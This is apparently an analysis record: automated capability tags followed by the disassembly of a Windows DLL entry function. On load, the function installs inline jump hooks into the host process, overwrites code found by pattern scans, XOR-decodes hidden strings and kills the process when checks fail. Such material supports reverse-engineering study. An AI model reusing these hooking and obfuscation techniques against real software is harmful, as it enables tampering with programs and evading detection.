Function at 0x1000c3c0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x48
mov eax, dword [0x100551b8]
xor eax, esp
mov dword [esp + 0x44], eax
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
sub dword [ebp + 0xc], 1
jne 0x1000ce7e
mov dword [0x101617a4], esi
mov dword [0x1016176c], 0x74cd30
call fcn.10002180
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call esi
push eax
call fcn.10002660
push 0x1000c260
push 0x1016176c
call fcn.10001c30
call fcn.100021f0
mov dword [0x10161768], 0x771310
call fcn.10002180
call esi
push eax
call fcn.10002660
push 0x1000c2a0
push 0x10161768
call fcn.10001c30
call fcn.100021f0
mov dword [0x10161764], 0x6d9070
call fcn.10002180
call esi
push eax
call fcn.10002660
push 0x1000c2e0
push 0x10161764
call fcn.10001c30
call fcn.100021f0
mov dword [0x10161760], 0x72d1b0
call fcn.10002180
call esi
push eax
call fcn.10002660
push 0x1000c330
push 0x10161760
call fcn.10001c30
call fcn.100021f0
push 0x1000c380
push 0x609fc3
push 0xe9
call fcn.1001d080
add esp, 0xc
cmp byte [0x4d1e69], 0xeb
jne 0x1000c4e8
xorps xmm0, xmm0
push 0
movups xmmword [0x10161ac0], xmm0
movups xmmword [0x10161ad0], xmm0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp dword [pe_dos_header]
push 0x1f27624b
lea ecx, [esp + 0x20]
call fcn.10010570
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xorps xmm0, xmm0
mov word [esp + 0x24], 0
push 0x5cca6a6b
lea ecx, [esp + 0x14]
movq qword [esp + 0x20], xmm0
mov esi, eax
mov byte [esp + 0x2a], 0
call fcn.10010af0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xorps xmm0, xmm0
mov word [esp + 0x18], 0
movq qword [esp + 0x10], xmm0
call eax
push 0x6a0c09af
lea ecx, [esp + 0x14]
mov byte [0x101616f7], 1
call fcn.10010780
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
sete al
test al, al
je 0x1000c566
call fcn.100066e0
push ecx
push 0x10
lea edx, [esp + 0x24]
mov dword [esp + 0x24], 0xc708c483
mov dword [esp + 0x28], 0xffffff05
mov dword [esp + 0x2c], 0x46ff
mov dword [esp + 0x30], 0x68006a00
call fcn.1001f0f0
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 8
test eax, eax
je 0x1000c62c
mov esi, dword [eax + 0x1f]
lea edi, [eax + 0x1e]
add esi, 5
add esi, edi
lea ecx, [esi + 0xa]
mov dword [0x10055b4c], ecx
mov eax, dword [ecx + 1]
add eax, 5
add eax, ecx
mov dword [0x10055b4c], eax
lea eax, [esp + 0xc]
push eax
push 0x40
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, 0x10006760
mov byte [esi], 0xe9
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x10]
push 5
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call esi
lea eax, [esp + 0xc]
push eax
push 0x40
push 5
push edi
call esi
mov eax, 0x10006760
mov byte [edi], 0xe8
sub eax, edi
sub eax, 5
mov dword [edi + 1], eax
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x10]
push 5
push edi
mov edi, esi
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
jmp 0x1000c673
mov edx, 0xef
xor ecx, ecx
mov al, byte [ecx + 0x1004e5a8]
xor al, dl
mov byte [esp + ecx + 0x1c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x11
jb 0x1000c633
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xorps xmm0, xmm0
push 0
movups xmmword [0x10161ac0], xmm0
movups xmmword [0x10161ad0], xmm0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp dword [pe_dos_header]
push ecx
push 0x1b
lea edx, [esp + 0x24]
mov dword [esp + 0x24], 0xffffffa1
mov dword [esp + 0x28], 0xffffffff
mov dword [esp + 0x2c], 0xffff8b32
mov dword [esp + 0x30], 0xffffffff
mov dword [esp + 0x34], 0x78ffffff
mov dword [esp + 0x38], 0x8bffff89
mov word [esp + 0x3c], 0x8ff
mov byte [esp + 0x3e], 0x51
call fcn.1001f0f0
add esp, 8
test eax, eax
je 0x1000c964
mov eax, dword [eax + 1]
lea edx, [esp + 0x1c]
push ecx
push 0x21
mov dword [0x10161744], eax
mov dword [esp + 0x24], 0xffffffa1
mov dword [esp + 0x28], 0xffff89ff
mov dword [esp + 0x2c], 0x83ffffff
mov dword [esp + 0x30], 0xffffffff
mov dword [esp + 0x34], 0xffff02ff
mov dword [esp + 0x38], 0xffffff83
mov dword [esp + 0x3c], 0x7404ffff
mov dword [esp + 0x40], 0x6affebff
mov byte [esp + 0x44], 0
call fcn.1001f0f0
add esp, 8
mov dword [0x10161748], eax
test eax, eax
je 0x1000c735
mov eax, dword [eax + 1]
mov dword [0x10161748], eax
jmp 0x1000c776
mov edx, 0xba
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + 0x1004e5bc]
xor al, dl
mov byte [esp + ecx + 0x1c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xf
jb 0x1000c740
lea eax, [esp + 0x1c]
mov byte [esp + 0x2b], 0
push eax
push 0
push 0x10155d18
call fcn.10014380
add esp, 0xc
call fcn.1001d050
push ecx
push 0x17
lea edx, [esp + 0x24]
mov dword [esp + 0x24], 0x8e68
mov dword [esp + 0x28], 0xc16800
mov dword [esp + 0x2c], 0xff8d0000
mov dword [esp + 0x30], 0xffffffff
mov dword [esp + 0x34], 0xffffffe8
mov word [esp + 0x38], 0x6aff
mov byte [esp + 0x3a], 2
call fcn.1001f0f0
add esp, 8
mov dword [esp + 0xc], eax
test eax, eax
je 0x1000c930
push ecx
push 0x1b
lea edx, [esp + 0x24]
mov dword [esp + 0x24], 0xffffffa1
mov dword [esp + 0x28], 0xffffffff
mov dword [esp + 0x2c], 0xffff8b32
mov dword [esp + 0x30], 0xffffffff
mov dword [esp + 0x34], 0x78ffffff
mov dword [esp + 0x38], 0x8bffff89
mov word [esp + 0x3c], 0x8ff
mov byte [esp + 0x3e], 0x51
call fcn.1001f0f0
add esp, 8
mov dword [0x10161798], eax
test eax, eax
je 0x1000c823
mov eax, dword [eax + 0xb]
mov dword [0x10161798], eax
jmp 0x1000c852
mov edx, 0x67
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + str.4__58]
xor al, dl
mov byte [esp + ecx + 0x1c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x12
jb 0x1000c830
mov byte [esp + 0x2e], 0
call fcn.1001d050
mov ecx, dword [esp + 0xc]
add ecx, 0x47
mov dword [0x10161794], ecx
mov edx, dword [ecx + 1]
add ecx, 5
add edx, ecx
mov dword [0x10161794], edx
lea ecx, [edx + 0xa]
mov dword [0x10161790], ecx
mov eax, dword [ecx + 1]
add ecx, 5
add eax, ecx
mov dword [0x10161790], eax
lea ecx, [eax + 0x2d]
mov dword [0x1016178c], ecx
mov eax, dword [ecx + 1]
add ecx, 5
add eax, ecx
lea ecx, [edx + 0x25]
mov dword [0x10161788], ecx
mov dword [0x1016178c], eax
mov edx, dword [ecx + 1]
add ecx, 5
add edx, ecx
mov dword [0x10161788], edx
lea ecx, [edx + 8]
mov dword [0x10055b3c], ecx
mov eax, dword [ecx + 1]
add ecx, 5
add eax, ecx
lea ecx, [edx + 0x21]
mov dword [0x10055b48], ecx
mov dword [0x10055b3c], eax
mov eax, dword [ecx + 1]
add ecx, 5
add eax, ecx
lea ecx, [edx + 0x3a]
mov dword [0x10055b44], ecx
mov dword [0x10055b48], eax
mov eax, dword [ecx + 1]
add ecx, 5
add eax, ecx
lea ecx, [edx + 0x42]
mov dword [0x10055b44], eax
mov dword [0x10055b40], ecx
mov eax, dword [ecx + 1]
add ecx, 5
add eax, ecx
lea ecx, [edx + 0xc8]
mov dword [0x10055b40], eax
mov dword [0x10055b38], ecx
mov eax, dword [ecx + 1]
add eax, 5
mov dword [0x1016174c], 0x100070a0
add eax, ecx
mov dword [0x10055b38], eax
jmp 0x1000c9c3
mov edx, 0x72
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x1004e5e0]
xor al, dl
mov byte [esp + ecx + 0x1c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x1b
jb 0x1000c940
mov byte [esp + 0x37], 0
call fcn.1001d050
jmp 0x1000c9c3
mov edx, 0x82
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ecx + 0x1004e5fc]
xor al, dl
mov byte [esp + ecx + 0x1c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xf
jb 0x1000c970
lea eax, [esp + 0x1c]
mov byte [esp + 0x2b], 0
push eax
push 0
push 0x10155d18
call fcn.10014380
add esp, 0xc
xorps xmm0, xmm0
movups xmmword [0x10161ac0], xmm0
movups xmmword [0x10161ad0], xmm0
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp dword [pe_dos_header]
push ecx
push 0x30
lea edx, [esp + 0x24]
mov dword [esp + 0x24], 0xffe8c88b
mov dword [esp + 0x28], 0xe8ffffff
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x30], 0xffffffe8
mov dword [esp + 0x34], 0xffffe8ff
mov dword [esp + 0x38], 0xffe8ffff
mov dword [esp + 0x3c], 0xe8ffffff
mov dword [esp + 0x40], 0xffffffff
mov dword [esp + 0x44], 0xffffffe8
mov dword [esp + 0x48], 0xffffe8ff
mov dword [esp + 0x4c], 0x1b0ffff
mov dword [esp + 0x50], 0xc35de58b
call fcn.1001f0f0
add esp, 8
mov dword [0x10161774], eax
test eax, eax
je 0x1000ca86
lea esi, [eax + 0x1b]
lea ecx, [eax + 0x20]
mov dword [0x10161778], esi
mov dword [0x1016177c], ecx
mov eax, dword [esi + 1]
add eax, 5
add eax, esi
mov dword [0x10161778], eax
lea eax, [esp + 0xc]
push eax
push 0x40
push 5
push esi
call edi
mov eax, 0x10007690
mov byte [esi], 0xe9
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x10]
push 5
push esi
call edi
jmp 0x1000caa8
xorps xmm0, xmm0
push 0
movups xmmword [0x10161ac0], xmm0
movups xmmword [0x10161ad0], xmm0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp dword [pe_dos_header]
mov esi, dword [0x10161790]
lea eax, [esp + 0xc]
push eax
push 0x40
push 0x76
push esi
call edi
push 0x76
push 0xc3
push esi
call fcn.10028480
add esp, 0xc
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x10]
push 0x76
push esi
call edi
mov esi, dword [0x10161788]
lea eax, [esp + 0xc]
push eax
push 0x40
push 0x1e0
push esi
call edi
push 0x1e0
push 0xc3
push esi
call fcn.10028480
add esp, 0xc
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x10]
push 0x1e0
push esi
call edi
mov esi, dword [0x10161794]
lea eax, [esp + 0xc]
push eax
push 0x40
push 0x33
push esi
call edi
push 0x33
push 0xc3
push esi
call fcn.10028480
add esp, 0xc
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x10]
push 0x33
push esi
call edi
mov esi, dword [0x10161794]
lea eax, [esp + 0xc]
push eax
push 0x40
push 5
push esi
call edi
mov eax, 0x10006e50
mov byte [esi], 0xe9
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x10]
push 5
push esi
call edi
push 0x400000
push 0
push 0x10161b00
call fcn.10028480
add esp, 0xc
push 0
push 0x400000
push 0x10161b00
push 0x400000
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call esi
mov edi, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push eax
call edi
movaps xmm1, xmmword [0x10050240]
xor eax, eax
movaps xmm2, xmmword [0x10050260]
nop word [eax + eax]
movups xmm0, xmmword [eax + 0x10161b00]
psubb xmm0, xmm1
movups xmmword [eax + 0x10161b00], xmm0
movups xmm0, xmmword [eax + 0x10161b00]
pxor xmm0, xmm2
movups xmmword [eax + 0x10161b00], xmm0
movups xmm0, xmmword [eax + 0x10161b10]
psubb xmm0, xmm1
movups xmmword [eax + 0x10161b10], xmm0
movups xmm0, xmmword [eax + 0x10161b10]
pxor xmm0, xmm2
movups xmmword [eax + 0x10161b10], xmm0
add eax, 0x20
cmp eax, 0x400000
jb 0x1000cbc0
push 0xa0
push 0
push 0x10561b00
call fcn.10028480
add esp, 0xc
push 0
push 0xa0
push 0x10561b00
push 0x10006e50
call esi
push eax
call edi
movaps xmm1, xmmword [0x10050240]
xor eax, eax
movaps xmm2, xmmword [0x10050260]
nop dword [eax]
movups xmm0, xmmword [eax + 0x10561b00]
psubb xmm0, xmm1
movups xmmword [eax + 0x10561b00], xmm0
movups xmm0, xmmword [eax + 0x10561b00]
pxor xmm0, xmm2
movups xmmword [eax + 0x10561b00], xmm0
movups xmm0, xmmword [eax + 0x10561b10]
psubb xmm0, xmm1
movups xmmword [eax + 0x10561b10], xmm0
movups xmm0, xmmword [eax + 0x10561b10]
pxor xmm0, xmm2
movups xmmword [eax + 0x10561b10], xmm0
add eax, 0x20
cmp eax, 0xa0
jb 0x1000cc50
push 0x7c
push 0
push 0x10561ba0
call fcn.10028480
add esp, 0xc
push 0
push 0x7c
push 0x10561ba0
push fcn.10006860
call esi
push eax
call edi
movaps xmm1, xmmword [0x10050240]
mov edx, 3
movaps xmm2, xmmword [0x10050260]
mov eax, 0x10561bb0
lea ecx, [edx + 0x5d]
lea eax, [eax + 0x20]
movups xmm0, xmmword [eax - 0x30]
psubb xmm0, xmm1
movups xmmword [eax - 0x30], xmm0
movups xmm0, xmmword [eax - 0x30]
pxor xmm0, xmm2
movups xmmword [eax - 0x30], xmm0
movups xmm0, xmmword [eax - 0x20]
psubb xmm0, xmm1
movups xmmword [eax - 0x20], xmm0
movups xmm0, xmmword [eax - 0x20]
pxor xmm0, xmm2
movups xmmword [eax - 0x20], xmm0
sub edx, 1
jne 0x1000cce1
nop dword [eax]
mov al, byte [ecx + 0x10561ba0]
sub al, 0x10
xor al, 0x77
mov byte [ecx + 0x10561ba0], al
inc ecx
cmp ecx, 0x7c
jb 0x1000cd20
push 0x52f
push 0
push 0x10561c20
call fcn.10028480
add esp, 0xc
push 0
push 0x52f
push 0x10561c20
push fcn.100068e0
call esi
push eax
call edi
movaps xmm1, xmmword [0x10050240]
mov eax, 0x10561c30
movaps xmm2, xmmword [0x10050260]
mov edx, 0x29
mov ecx, 0x520
nop dword [eax]
lea eax, [eax + 0x20]
movups xmm0, xmmword [eax - 0x30]
psubb xmm0, xmm1
movups xmmword [eax - 0x30], xmm0
movups xmm0, xmmword [eax - 0x30]
pxor xmm0, xmm2
movups xmmword [eax - 0x30], xmm0
movups xmm0, xmmword [eax - 0x20]
psubb xmm0, xmm1
movups xmmword [eax - 0x20], xmm0
movups xmm0, xmmword [eax - 0x20]
pxor xmm0, xmm2
movups xmmword [eax - 0x20], xmm0
sub edx, 1
jne 0x1000cd80
nop dword [eax + eax]
mov al, byte [ecx + 0x10561c20]
sub al, 0x10
xor al, 0x77
mov byte [ecx + 0x10561c20], al
inc ecx
cmp ecx, 0x52f
jb 0x1000cdc0
push 0xc8
push 0
push 0x10562188
call fcn.10028480
add esp, 0xc
push 0
push 0xc8
push 0x10562188
push 0x100178f0
call esi
push eax
call edi
movaps xmm1, xmmword [0x10050240]
mov eax, 0x10562198
movaps xmm2, xmmword [0x10050260]
mov edx, 6
mov ecx, 0xc0
lea eax, [eax + 0x20]
movups xmm0, xmmword [eax - 0x30]
psubb xmm0, xmm1
movups xmmword [eax - 0x30], xmm0
movups xmm0, xmmword [eax - 0x30]
pxor xmm0, xmm2
movups xmmword [eax - 0x30], xmm0
movups xmm0, xmmword [eax - 0x20]
psubb xmm0, xmm1
movups xmmword [eax - 0x20], xmm0
movups xmm0, xmmword [eax - 0x20]
pxor xmm0, xmm2
movups xmmword [eax - 0x20], xmm0
sub edx, 1
jne 0x1000ce20
nop dword [eax + eax]
mov al, byte [ecx + 0x10562188]
sub al, 0x10
xor al, 0x77
mov byte [ecx + 0x10562188], al
inc ecx
cmp ecx, 0xc8
jb 0x1000ce60
call fcn.1001aa90
mov ecx, dword [esp + 0x4c]
mov eax, 1
pop edi
pop esi
xor ecx, esp
call fcn.10024f58
mov esp, ebp
pop ebp
ret 0xc